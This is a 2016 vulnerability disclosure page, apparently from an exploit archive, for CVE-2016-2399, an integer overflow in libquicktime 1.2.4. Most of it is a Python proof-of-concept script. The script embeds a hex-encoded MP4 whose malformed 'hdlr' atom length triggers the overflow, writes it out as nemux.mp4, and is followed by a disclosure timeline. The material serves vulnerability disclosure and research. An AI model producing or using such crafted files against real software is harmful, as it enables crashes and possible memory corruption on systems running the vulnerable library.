what you don't know can hurt you

libquicktime 1.2.4 Integer Overflow

libquicktime 1.2.4 Integer Overflow
Posted Feb 23, 2016
Authored by Marco Romano

libquicktime version 1.2.4 suffers from an integer overflow vulnerability.

tags | exploit, overflow
advisories | CVE-2016-2399
MD5 | c29b687e6f50b986a7c9fd38c301bb43

libquicktime 1.2.4 Integer Overflow

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#!/usr/bin/env python
#
###
# - 7 February 2016 -
# My last bug hunting session (*for fun and no-profit*)
# has been dedicated to libquicktime
###
#
# Author: Marco Romano - @nemux_ http://www.nemux.org
# libquicktime 1.2.4 Integer Overflow
#
# Product Page: http://libquicktime.sourceforge.net/
# Description: 'hdlr', 'stsd', 'ftab' MP4 Atoms Integer Overflow
# Affected products: All products using libquicktime version <= 1.2.4
#
# CVE-ID: CVE-2016-2399
#
# Disclosure part: http://www.nemux.org
#
########
####### Timeline
#
# 07 Feb 2016 Bug discovered
# 17 Feb 2016 Mitre.org contacted
# 17 Feb 2016 Disclosed to the project's maintainer
# 23 Feb 2016 No response from the maintainer
# 23 Feb 2016 Publicly disclosed
#
########
####### References
#
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-2399
# http://libquicktime.sourceforge.net/
# http://www.linuxfromscratch.org/blfs/view/svn/multimedia/libquicktime.html
# https://en.wikipedia.org/wiki/QuickTime\_File\_Format
#
#######
#
# DISCLAIMER: It's just a PoC... it will crash something
#
####
import sys
import struct
import binascii

"""
There needs to be an mp4 file with these nested atoms to trigger the bug:
moov -> trak -> mdia -> hdlr
"""
hax0r_mp4 = ("0000001C667479704141414100000300336770346D70343133677036000000086D646174000001B1"
"6D6F6F76" #### moov atom
"0000006C6D76686400000000CC1E6D6ECC1E6D6E000003E80000030200010000010000000000000000000000"
"000100000000000000000000000000000001000000000000000000000000000040000000000000000000000000000000"
"00000000000000000000000000000003000000FD756474610000001263707274000000000000FEFF0000000000126175"
"7468000000000000FEFF0000000000127469746C000000000000FEFF00000000001264736370000000000000FEFF0000"
"0000001270657266000000000000FEFF000000000012676E7265000000000000FEFF00000000001A72746E6700000000"
"00000000000000000000FEFF000000000018636C7366000000000000000000000000FEFF00000000000F6B7977640000"
"000055C400000000276C6F6369000000000000FEFF000000000000000000000000000000FEFF0000FEFF0000000000FF"
"616C626D000000000000FEFF0000010000000E79727263000000000000000002E4"
"7472616B" #### trak atom
"0000005C746B686400000001CC1E6D6ECC1E6D6E00000001000000000000030000000000000000000000000001000000"
"000100000000000000000000000000000001000000000000000000000000000040000000000000000000000000000040"
"6D646961" #### mdia atom
"000000206D64686400000000CC1E6D6ECC1E6D6E00003E800000300000000000000000"
"4E" #### hdlr atom length
"68646C72" #### hdlr atom
"0000000000"
"4141414141414141" #### our airstrip :)
"0000000000000000000000"
"EC" #### 236 > 127 <-- overflow here and a change in signedness too
"616161000000FF736F756E000000000000000000000000536F756E6448616E646C6572000000012B6D696E6600000010")

hax0r_mp4 = bytearray(binascii.unhexlify(hax0r_mp4))

def createPoC():
try:
with open("./nemux.mp4","wb") as output:
output.write(hax0r_mp4)
print "[*] The PoC is done!"
except Exception,e:
print str(e)
print "[*] mmmm!"

def usage():
print "\nUsage? Run it -> " + sys.argv[0]
print "this poc creates an mp4 file named nemux.mp4"
print "--------------------------------------------"
print "This dummy help? " + sys.argv[0] + " help\n"
sys.exit()

if __name__ == "__main__":
try:
if len(sys.argv) == 2:
usage()
else:
print "\nlibquicktime <= 1.2.4 Integer Overflow CVE-2016-2399\n"
print "Author: Marco Romano - @nemux_ - http://www.nemux.org\n\n";
createPoC();
except Exception,e:
print str(e)
print "Ok... Something went wrong..."
sys.exit()



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